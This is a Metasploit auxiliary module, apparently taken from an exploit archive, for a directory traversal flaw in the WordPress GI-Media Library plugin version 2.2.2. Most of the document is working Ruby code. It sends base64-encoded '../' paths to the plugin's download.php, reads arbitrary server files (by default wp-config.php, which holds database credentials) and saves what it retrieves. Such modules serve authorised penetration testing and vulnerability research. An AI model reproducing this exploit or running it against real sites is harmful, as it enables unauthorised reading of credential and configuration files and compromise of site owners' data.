This Metasploit module exploits a directory traversal vulnerability in WordPress Plugin GI-Media Library version 2.2.2, allowing to read arbitrary files from the system with the web server privileges. This Metasploit module has been tested successfully on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
4637d0531dbebb743c37a40d416ad765721de72ea5268f18b423993d68d22ed6
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress GI-Media Library Plugin Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
GI-Media Library version 2.2.2, allowing to read arbitrary files from the
system with the web server privileges. This module has been tested successfully
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
},
'References' =>
[
['WPVDB', '7754'],
['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']
],
'Author' =>
[
'Unknown', # Vulnerability discovery - QuantiKa14?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])
])
end
def check
check_plugin_version_from_readme('gi-media-library', '3.0')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),
'vars_get' =>
{
'fileid' => Rex::Text.encode_base64(traversal + filename)
}
)
if res && res.code == 200 && res.body && res.body.length > 0
fname = datastore['FILEPATH']
path = store_loot(
'gimedia-library.file',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
else
vprint_error("Nothing was downloaded. Check the path and the traversal parameters.")
end
end
end